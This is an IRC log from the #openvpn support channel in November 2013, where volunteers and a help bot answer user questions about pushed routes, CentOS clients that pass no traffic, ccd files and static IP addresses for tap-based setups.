19:08 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
19:11 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
19:13 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
19:14 -!- smue [smue@nostromo.smue.info] has joined #openvpn
19:14 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
19:20 -!- mndo [~mndo@bl17-107-99.dsl.telepac.pt] has joined #openvpn
19:31 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
19:34 -!- newbie|4 [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 272 seconds]
19:36 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 248 seconds]
19:39 -!- mndo [~mndo@bl17-107-99.dsl.telepac.pt] has quit [Ping timeout: 244 seconds]
19:58 -!- u0m3 [~u0m3@109.96.152.158] has quit [Read error: Connection reset by peer]
20:05 < xp99work> why don't any of the routes work in linux for connecting to an openvpn server?
20:05 < xp99work> they work in the windows version
20:05 < xp99work> only if I enable redirect-gateway does the linux client work properly where it can ping servers
20:05 < xp99work> but if I disable that and push routes to it, they do not work
20:05 < xp99work> in linux
20:06 < xp99work> but they do in windows
20:06 <+pekster> pushing routes is platform-agnostic
20:08 < xp99work> so its different in windows then linux?
20:25 -!- Carbon_Monoxide [~cmonxide@14.0.143.113] has joined #openvpn
20:25 -!- Carbon_Monoxide [~cmonxide@14.0.143.113] has left #openvpn []
20:36 -!- esde is now known as esde|away
20:36 < xp99work> ok nevermind, that means it should work
20:39 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
20:39 -!- esde|away is now known as esde
20:44 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
20:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:49 < xp99work> but it doesnt
20:49 < xp99work> Im gonna compile it from source tomorrow
20:56 -!- xp99work [~chatzilla@184.71.174.42] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0/20131025151332]]
21:28 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 246 seconds]
21:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao]
21:39 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
21:59 -!- smue [smue@nostromo.smue.info] has quit [Remote host closed the connection]
22:07 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Quit: bye]
22:07 -!- smue [smue@nostromo.smue.info] has joined #openvpn
22:11 -!- Poster|x is now known as Poster
23:02 -!- mcf3782 [~Adium@71.199.253.146] has joined #openvpn
23:10 < mcf3782> Anyone in here successfully connecting to OpenVPN on a Linux box; using Tunnelblick on a Mac, running Mavericks?
23:13 -!- liriel [~liriel@198.154.114.106] has joined #openvpn
23:14 -!- liriel [~liriel@198.154.114.106] has quit [Client Quit]
23:15 < pppingme> mcf3782 I duno what tunnelblick or mavericks is, but what problem are you seeing?
23:16 -!- liriel [~liriel@198.154.114.106] has joined #openvpn
23:17 < mcf3782> pppingme: Mavericks is the current version of the Mac OS X OS.  Tunnelblick is a manager for using multiple OpenVPN configs for the Mac.
23:19 < mcf3782> I get a connection to my OpenVPN server, but I can't seem to pass any traffic or ping any hosts on the same subnet as the VPN server.
23:19 <+pekster> Sounds like you want:
23:19 <+pekster> !serverlan
23:19 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
23:19 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
23:22 < mcf3782> ip forwarding is definitely enabled. There is a push statement in the config file for the VPN server for the lan.
23:23 < mcf3782> This worked at one point.  Unfortunately, there were multiple changes made along the way; and nobody thought to make one change at a time and test before moving on.  So I'm trying to figure out where things are broken. :(
23:25 < mcf3782> This is what I get for taking someone else's word for it when asked "has this been tested and is it working?"; and not testing it myself before I left on a trip.. Now, trying to debug remotely is a PITA.
23:26 -!- dougquaid [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has quit [Ping timeout: 245 seconds]
23:39 <+pekster> The good news is that there's a helpful flowchart for your setup
23:39 <+pekster> That bad news is it sounds like you haven't yet followed it
23:43 < mcf3782> pekster: Thanks for the link to the chart.  You're right, it is helpful.  I'm being hampered by not having full access to all of the network elements since I'm not in the building where the server and router are.
23:48 < mcf3782> read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
23:49 < mcf3782> oops. sorry. I meant to paste that into google.
23:50 <+pekster> I can do you 1 better: the remote host (or your local firewall) is returning an ICMP error code on the last outbound packet
23:50 <+pekster> Usually the remote end closed the connection and that's what the kernel or firewall spits back
23:51 < mcf3782> ok. that sounds mostly innocuous then.
23:52 -!- brian_ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
23:54 < mcf3782> My first thought was that UDP port 1194 wasn't pointed at the vpn server from the router…but if that were the case; I don't think I'd get a connection at all.
23:58 -!- mcf3782 [~Adium@71.199.253.146] has quit [Read error: Connection reset by peer]
23:58 -!- mcf37821 [~Adium@71.199.253.146] has joined #openvpn
23:59 -!- mcf37821 is now known as mcf3782
--- Day changed Thu Nov 14 2013
00:02 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:25 < pwrcycle> my vpn connects, I see the log estabilish and connect the user. the client gets an IP, but the Server then never sends anything back to the client. What could the problem be?
00:28 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Read error: Connection reset by peer]
00:28 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
00:28 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
00:28 -!- Netsplit *.net <-> *.split quits: michaelhart, bytesaber, xeqution, @mattock_afk, stemid, klaxa
00:32 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
00:33 -!- Dasoren_ [~Dasoren@2001:470:e0b8:11:fcc2:a8bf:f25e:7f45] has joined #openvpn
00:35 -!- koopsta [koopsta@unaffiliated/koopsta] has joined #openvpn
00:36 -!- Dasoren [~Dasoren@2001:470:e0b8:11:fdc3:54fe:584c:b521] has quit [Ping timeout: 245 seconds]
00:36 -!- Dasoren_ is now known as Dasoren
00:39 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:39 -!- mcf3782 [~Adium@71.199.253.146] has left #openvpn []
00:43 < koopsta> hey guys.. i've just followed a guide to get openvpn setup on my vps, and it's working great connecting from a different centos5 vps, can send traffic through tun0 fine.. but all my centos6 vpses are having problems. it'd odd, the connection is established and there are no errors, but trying to use the tun0 interface .. just doesn't work. there's no firewall on these VPSes either..
00:43 -!- Carbon_Monoxide [~cmonxide@14.0.143.113] has joined #openvpn
00:44 < koopsta> any hints for what/where to look?
00:44 -!- Carbon_Monoxide [~cmonxide@14.0.143.113] has quit [Remote host closed the connection]
00:45 -!- Carbon_Monoxide [~cmonxide@14.0.143.113] has joined #openvpn
00:46 -!- Carbon_Monoxide [~cmonxide@14.0.143.113] has left #openvpn []
01:01 < pwrcycle> koopsta: you get a connection established, and the client sends packets, but the server never responds?
01:02 -!- dowaat [uid3966@gateway/web/irccloud.com/x-gmfbkcxwrddqkgab] has quit [Quit: Connection closed for inactivity]
01:07 < koopsta> pwrcycle, it seems that way.. it's hard to tell why it's not working.. logs/example coming
01:07 < koopsta> server conf - http://pastebin.ca/2476001 | client conf - http://pastebin.ca/2476000
01:07 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 264 seconds]
01:07 < koopsta> working connection log http://pastebin.ca/2476005 | working curl http://pastebin.ca/2476004
01:10 < koopsta> *not working* connection log http://pastebin.ca/2476007 (the connection establishes, but see the following) | *not working* curl http://pastebin.ca/2476008
01:11 < pwrcycle> koopsta: i'm actually having the same problem. my centos5's work. new centos6.4 doesn't.
01:11 < koopsta> pwrcycle, haha
01:11 < koopsta> pwrcycle, it's good to know im not the only one
01:12 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
01:15 < pwrcycle> i see a few people in comment sections with problems. nothing definate though.
01:17 < koopsta> yah it's odd, must be something simple we're not seeing
01:18 < pwrcycle> i'm wondering if it's a difference between SNAT and MASQUERADE.  Which are you using?
01:19 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:21 < koopsta> MASQUERADE, but it seemed to still work fine with SNAT
01:23 < koopsta> my gut's telling me it's a client side problem, but its been wrong before
01:24 < pwrcycle> koopsta: sudo cat /etc/sysctl.conf | grep forward   does that = 1 or 0 ?
01:24 < koopsta> it's 1
01:25 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:25 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:28 -!- gekko_ [~jjk@dev.pro-it.dk] has joined #openvpn
01:29 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:30 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:37 < koopsta> pwrcycle, just installed openvpn on a windows vps and using the same conf, it works fine
01:37 < koopsta> :/
01:37 < pwrcycle> interesting. i had installed openvpn-as on this sever and could not get it to start either..
01:41 < koopsta> must be time for fresh air then, could help
01:41 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
01:41  * koopsta grabs the dog and wanders off for a walk
01:43 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
01:43 -!- james41382_ is now known as james41382
01:43 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
01:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:52 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
01:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:54 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
01:54 -!- alissd1 [~alissd3@121.54.168.15] has joined #openvpn
02:09 -!- alissd2 [~alissd3@101.84.178.185] has joined #openvpn
02:10 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
02:11 -!- davidmp [~davidmp@149.255.100.107] has quit [Ping timeout: 272 seconds]
02:11 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
02:13 -!- alissd1 [~alissd3@121.54.168.15] has quit [Ping timeout: 240 seconds]
02:13 -!- alissd1 [~alissd3@174.139.203.62] has joined #openvpn
02:13 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:13 -!- alissd2 [~alissd3@101.84.178.185] has quit [Ping timeout: 244 seconds]
02:14 -!- alissd2 [~alissd3@101.84.178.185] has joined #openvpn
02:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
02:16 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has joined #openvpn
02:18 -!- alissd1 [~alissd3@174.139.203.62] has quit [Ping timeout: 240 seconds]
02:32 -!- alissd1 [~alissd3@101.84.176.221] has joined #openvpn
02:34 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
02:35 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
02:36 -!- alissd2 [~alissd3@101.84.178.185] has quit [Ping timeout: 244 seconds]
02:36 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
02:36 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
02:39 -!- alissd2 [~alissd3@174.139.203.62] has joined #openvpn
02:40 -!- alissd1 [~alissd3@101.84.176.221] has quit [Ping timeout: 252 seconds]
02:40 -!- alissd1 [~alissd3@101.84.176.221] has joined #openvpn
02:41 -!- Perun_ [perun@chao5.net] has joined #openvpn
02:41 -!- Linmu_ [~Linmu@203.70.194.104] has joined #openvpn
02:42 -!- alissd [~alissd3@174.139.232.174] has joined #openvpn
02:44 -!- kossy_ [a@kossy.org] has joined #openvpn
02:44 -!- alissd2 [~alissd3@174.139.203.62] has quit [Ping timeout: 248 seconds]
02:44 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:44 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
02:44 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
02:44 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has joined #openvpn
02:44 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:44 -!- stemid [~avatar@ns4.sydit.se] has joined #openvpn
02:44 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
02:44 -!- ServerMode/#openvpn [+o mattock] by holmes.freenode.net
02:44 -!- Laverne_ [~Laverne@devilsown.net] has joined #openvpn
02:44 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
02:44 -!- Cultist_ [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
02:44 -!- Stew_a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
02:44 -!- alissd1 [~alissd3@101.84.176.221] has quit [Ping timeout: 248 seconds]
02:45 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
02:45 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
02:45 -!- Netsplit *.net <-> *.split quits: Laverne, gardar, dimm0k, JackWinter, pure, maskedlua, kossy, Linmu, heraclitus, Poster,  (+7 more, use /NETSPLIT to show all of them)
02:45 -!- Stew_a is now known as Stew-a
02:46 -!- Netsplit over, joins: takamichi, JackWinter, GEEGEEGEE, SlutaTramsa, heraclitus, maskedlua, gardar, dimm0k, pure
02:46 -!- alissd [~alissd3@174.139.232.174] has quit [Max SendQ exceeded]
02:47 -!- alissd [~alissd3@174.139.232.174] has joined #openvpn
03:02 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Quit: Six buggin' out...]
03:11 -!- Six6siX [~six6@jasmine1.sammybakar.com] has joined #openvpn
03:15 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
03:29 -!- Laverne_ is now known as Laverne
03:31 -!- alissd [~alissd3@174.139.232.174] has quit [Read error: Connection reset by peer]
03:34 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
03:42 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has joined #openvpn
03:53 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
03:57 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 244 seconds]
03:57 -!- defswork [~andy@141.0.50.105] has joined #openvpn
04:02 -!- Denial [Denial@2.223.161.125] has joined #openvpn
04:16 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
04:18 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
04:18 -!- mode/#openvpn [+o dazo] by ChanServ
04:25 -!- novaflash is now known as novaflash_away
04:38 -!- TheCaptain2000 [~quassel@226.87.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
04:44 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 244 seconds]
04:47 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:18 -!- dazo is now known as dazo_afk
05:19 -!- dualz [j0lt@c-24-23-1-30.hsd1.ca.comcast.net] has quit []
05:22 -!- Cultist_ is now known as Cultist
05:38 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
05:38 -!- novaflash_away is now known as novaflash
05:53 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
06:32 -!- Cultist [~Grand_Mew@c-24-12-53-28.hsd1.il.comcast.net] has quit [Quit: Tension, apprehension, and dissension have begun.]
06:42 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:12 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
07:23 -!- Guest44039 [~root@116.227.136.227] has joined #openvpn
07:24 -!- Guest44039 [~root@116.227.136.227] has quit [Client Quit]
07:41 -!- michaelhart [~michaelha@192.237.177.15] has joined #openvpn
07:41 -!- Guest4438 [~linuxthef@217.147.84.35] has quit [Quit: leaving]
07:51 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Read error: Connection reset by peer]
07:53 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
07:55 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
08:06 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
08:06 < SupaYoshi> heya :D
08:15 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
08:15 -!- ele [~maarten@pinky.elexer.com] has quit [Read error: Connection reset by peer]
08:34 -!- GEEGEEGEE [~Ultimatio@78.129.133.91] has quit [Quit: Leaving]
08:34 -!- koopsta [koopsta@unaffiliated/koopsta] has quit [Read error: Connection reset by peer]
09:02 -!- dazo_afk is now known as dazo
09:03 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:06 -!- gekko_ [~jjk@dev.pro-it.dk] has quit [Quit: Ex-Chat]
09:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:21 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
09:29 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
09:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
09:35 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:47 -!- ander [~ander@unaffiliated/ander] has joined #openvpn
09:48 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
09:50 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
10:08 -!- CJ_ [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
10:10 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
10:11 < piece3> Good evening all
10:12 < piece3> I've setup a mesh type openvpn between 4 servers. I'm struggling to make the ip address recieved from the tap as static
10:12 < piece3> !welcome
10:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
10:13 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:13 < piece3> !goal
10:13 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:14 <+pekster> piece3: Normally you don't want tap unless you're sending non-IP frames (or broadcast/multicast.) Static IPs can be pushed from openvpn acting as a server, or set staticaly client side. See !static for details
10:14 < piece3> pekster: thanks, the servers we're using are multicast
10:15 -!- ander [~ander@unaffiliated/ander] has left #openvpn []
10:17 < piece3> !static
10:17 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
10:18 < piece3> !tunortap
10:18 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning
10:18 <@vpnHelper> against you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
10:23 -!- dowaat [uid3966@gateway/web/irccloud.com/x-xocyhwbspdhzotjr] has joined #openvpn
10:24 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
10:26 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
10:33 -!- brian_ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has quit [Quit: Leaving]
10:37 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:38 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:39 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 240 seconds]
10:41 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
10:43 -!- Cultist [~Grand_Mew@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
10:45 < piece3> Every time i reboot my server the ipp.txt file becomes blank. why?
10:46 <+pekster> ipp isn't how you do static IPs; it's a "hint" to openvpn oly
10:46 <+pekster> only*
10:46 <+pekster> And it won't get wiped out between openvpn program restarts; maybe you've placed it in a dir that gets wiped when your OS boots, or in a RAM-backed filesystem (tmpfs or such)
10:48 < piece3> pekster: I've dropped the file in /etc/openvpn and uncommented the line in server.config file
10:48 < piece3> The text file stays there but the contents dissapears
10:48 <+pekster> Maybe your initscript is doing it?
10:50 < piece3> pekster: for each client, I've got a file under the ccd dir named as the name of the cert with .user appended to the end,
10:50 <+pekster> That's also invalid unless your X509 cert's CN field ends with .user also
10:50 <+pekster> The files must match EXACTLY
10:50 < piece3> pekster: I was following this config: https://forums.openvpn.net/topic12086.html
10:50 <@vpnHelper> Title: OpenVPN Support Forum Multi-Server-Cluster : Configuration (at forums.openvpn.net)
10:51 <+pekster> I'm not really going to scroll down all those pages to find a clue as to what you did
10:51 <+pekster> Maybe read about !ipp and !ccd
10:51 <+pekster> ccd files MUST match the EXACT `CN` field from your X509 client cert
10:51 < piece3> pekster: ok, I'll read a little more
10:52 <+pekster> If it is 1 character off, or doesn't match case, it will NOT be used. Use --verb 4 in your server and it'll note when it loads ccd files
10:52 < piece3> pekster: thanks for the verb 4 tip
10:52 <+pekster> ipp is basically worthless for static IPs; don't use it if you're doing static IPs another way
10:52 <+pekster> It works kind of like a DHCP leasefile works in ISC's dhcpd
10:52 < piece3> Iccd
10:52 < piece3> !ccd
10:52 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
10:54 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
10:54 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 260 seconds]
10:57 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:14 -!- CJ_ [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Quit: Leaving]
11:15 < piece3> pekster: Ok, I've got the client recieving the correct ip now, however I can ping the server but the server can't ping me.
11:16 <+pekster> Sounds like a firewall issue then, since a reply to the ping means routing is working
11:16 <+pekster> That or you've got some NAT involved
11:19 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
11:19 -!- CJ_ [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
11:21 < piece3> pekster: all sorted, getting late here, admin type
11:21 < piece3> typo
11:23 < piece3> !faq
11:23 <@vpnHelper> "faq" is (#1) http://openvpn.net/index.php/documentation/faq.html or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ
11:30 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
11:33 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
11:36 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 265 seconds]
11:45 < piece3> !static
11:45 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
11:46 < piece3> pekster: I think I'm almost there, how do I get the server to take on static ip ?
11:48 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:48 <+pekster> --ifconfig
11:48 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:49 <+pekster> If you're doing bridging between your tap and a physical interface, you should manage the addressing in the OS/distro method to configure interfaces. If you're doing a routed-tap setup, use of --ifconfig is fine
11:53 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
11:58 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 244 seconds]
12:01 < piece3> This is for the tap address similar to the clients, Is there a permenant config option or must it be used on the command line each time the server is started?
12:02 <+pekster> All --options can be in the config file too
12:02 <+pekster> Read the first few paragraphs in openvpn(8)
12:04 < piece3> pekster: Oh yes, aplogies, a rtfm moment
12:08 -!- u0m3 [~u0m3@109.96.137.96] has joined #openvpn
12:19 -!- raidz is now known as raidz_away
12:19 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has left #openvpn []
12:21 -!- raidz_away is now known as raidz
12:25 -!- mattock is now known as mattock_afk
12:27 < piece3> pekster: I've had no luck setting that config option
12:27 < piece3> I do see in the logs that something gets set as ifconfig_local 1.x.1.1
12:29 <+pekster> Crystal ball says "something" might be relevant, as might the config. The !configs and !logs oracle might have more insight
12:30 <@krzee> oooo you lucked out
12:30 <@krzee> pekster has his crystal ball
12:33 < rob0> it sparkles!
12:34 <@krzee> !--
12:34 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
12:38 -!- valent__ [~valent@141-136-226-198.dsl.iskon.hr] has joined #openvpn
12:42 -!- valent_ [~valent@251-222.dsl.iskon.hr] has quit [Ping timeout: 248 seconds]
12:43 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
12:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:49 < piece3> Okies, http://pastebin.com/SGCb1xry
12:53 <@krzee> route 10.56.1.0 255.255.255.255
12:53 <@krzee> what is that?
12:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 265 seconds]
12:54 <@krzee> also, you cannot use ifconfig AND server, if you read --server in the manual you will see why
12:54 <@krzee> why are you using tap instead of tun?
12:54 <@krzee> !whybridge
12:54 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
12:54 <@krzee> !tunortap
12:54 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning
12:55 <@vpnHelper> against you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
12:55 < piece3> krzee: The servers are multcasting
12:55 <@krzee> oh ok
12:55 < piece3> The plan is once having one server and 3 clients working, then deploying servers on all nodes, so it works as a MESH
12:56 <@krzee> and i have no idea where its getting 10.8.1.0/24 from, i think you either have another config or you are calling it some way that overrides the config
12:56 <+pekster> piece3: A number of issues. 1) you don't add a route with tap; tap is "on-link" already (making line 14 pointless) 2) ipp won't wnork with --duplicate-cn 3) don't use --server (as noted above)
12:56 <+pekster> Yup, those logs sugggest you have another instance running somewhere, or that output is from an old run
